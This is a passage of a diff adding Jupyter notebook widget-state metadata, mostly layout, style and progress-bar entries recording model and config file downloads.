+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "103ffa0973364618b4ce1d5528078062": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "108208309c4b47aa8eee3a1321fc81ed": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_97dcb5d933594743aea62d09aa27d30d",
+            "placeholder": "​",
+            "style": "IPY_MODEL_f17e8c0187db4242af4a803aed44fde9",
+            "value": " 525k/525k [00:00&lt;00:00, 2.39MB/s]"
+          }
+        },
+        "10ae3f8453744a7e9737a9a0914dfeab": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "10be4b9595c84f36aeab9593e63440e6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_51890b032fbb48139e11d69850a6db57",
+            "max": 20,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_30408dcf6dd14e27bab9cc06cc664c4c",
+            "value": 20
+          }
+        },
+        "10bfbe36a3e24b30a6e300e852ff7811": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_6e7d3e445440469baa5aaab1cbbb9291",
+            "max": 308,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_a3ca3b9ce6b24d43bdf8361379b6d502",
+            "value": 308
+          }
+        },
+        "10f4d1976dc04c3bb651b45c08298fab": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "117ca4fd09bb4ebeb8eae3ba5c3112f5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_52403e4bc442416fac24e0880f2a3faf",
+            "max": 147341049,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_38eb1d06f0094645944b5d305b575927",
+            "value": 147341049
+          }
+        },
+        "13ccb78b2d7141e1a982a8bea69023d5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_99b1e953ca924df2b6bfb0f9780d2e21",
+              "IPY_MODEL_57420a6e093c4de9845db953b8e0269b",
+              "IPY_MODEL_22235d8e342a47059270c8732b889d68"
+            ],
+            "layout": "IPY_MODEL_6055afd2e29c42e09d5f923c34cf1579"
+          }
+        },
+        "13f07d79c96146aaa1d7731526aaec29": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "147cd6ad4d4c4fca82a7a531684ffd2a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_4fbfe981703e4365a6e944cb9f3913d5",
+            "placeholder": "​",
+            "style": "IPY_MODEL_ce5e2b3caef7421da3383cbdfc5b271f",
+            "value": "Downloading (…)lve/main/config.json: 100%"
+          }
+        },
+        "15c1713762124e828b20f54684e496d0": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "15ce5867e9ba470b94f0408cfa8236ad": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "15de6a583c5e4525a559749577fd4331": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "161da25b295b4afa8f8b88507818d052": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "16e7c873157c444bb0ca1b92e85b4701": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "173d24393b854ad0a03fd02d56c7d037": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_a33e6193984b46d4bb9b4187d726009e",
+              "IPY_MODEL_230461cc201f4535a9f9bcf7a3ae7669",
+              "IPY_MODEL_4900e42f3bfa4a6096b16d47d38687dc"
+            ],
+            "layout": "IPY_MODEL_2112261a320b4b9297aa3edc85fa2316"
+          }
+        },
+        "173d85b54dd4419883fc83cfa2beacc5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "182d76403d844b96bd20c3a7c49b4357": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "183551cc7517479db8e0fffe634f2e6c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_90398133563a48288ebf11cf0e0e242d",
+              "IPY_MODEL_b6c5549bd95644ad9e553c2e59199f04",
+              "IPY_MODEL_48ec35653f99446db9cefabe146bb2d8"
+            ],
+            "layout": "IPY_MODEL_84e8bc8164b948d8897a8637c226ef1c"
+          }
+        },
+        "18a72653fc284d29be02e4d2a477ecdd": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "193fa11998404439b90913f5f5b4619e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_8b7c3bcf27644ac09871f733662c4d8b",
+            "placeholder": "​",
+            "style": "IPY_MODEL_42cabc32ffc34ddd924fde45571ada38",
+            "value": "Downloading (…)lve/main/config.json: 100%"
+          }
+        },
+        "194f16cb7fbb42a78d9237e4e6654b58": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "198e8a1603fc40218d805d46da1cc603": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_54746d0ef2e7453faddcc3b6066def51",
+            "placeholder": "​",
+            "style": "IPY_MODEL_ff535db7c20f4719820b0b483a3a41ff",
+            "value": " 328M/328M [00:01&lt;00:00, 248MB/s]"
+          }
+        },
+        "199a4465ee984eff971c999393c4e497": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "1bf842268bf64cadbf2bda6da0d4a690": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1c65960b291c4d92bced5bca619e8256": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1ce482eed7dd4a62b5c97b7fae38f392": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f02818f8f3d54f72961c51e8fe526dc2",
+            "placeholder": "​",
+            "style": "IPY_MODEL_8d2da5062f414a7f8c98facdd7d2bad0",
+            "value": "100%"
+          }
+        },
+        "1cf1b7e84b744edf907f94aa3d1983bc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "1d4352761751419282c93eb85c0954c0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_b84453116ba14690b8ae8a8e723f8510",
+              "IPY_MODEL_6e14135b00e447c18a0a693d47f5c92b",
+              "IPY_MODEL_9a540d6ed00a424da320fd7a12c31ac5"
+            ],
+            "layout": "IPY_MODEL_13f07d79c96146aaa1d7731526aaec29"
+          }
+        },
+        "1daa130f38a84c6d9a4149536b21927e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "20285260958f4620b906e7a21f44c555": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7e03365b6d25414eb845c51aa30e3d2c",
+            "placeholder": "​",
+            "style": "IPY_MODEL_199a4465ee984eff971c999393c4e497",
+            "value": "Downloading (…)ch_model.safetensors: 100%"
+          }
+        },
+        "206b5b9596ff43b68126735ad6b31929": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e503940faf1e47bb911a62c6e5f33fa0",
+            "placeholder": "​",
+            "style": "IPY_MODEL_03800bb9bc894d2592b3d01036769944",
+            "value": " 617/617 [00:00&lt;00:00, 4.55kB/s]"
+          }
+        },
+        "20f315f7aae840d19ee8a068c68ff63c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
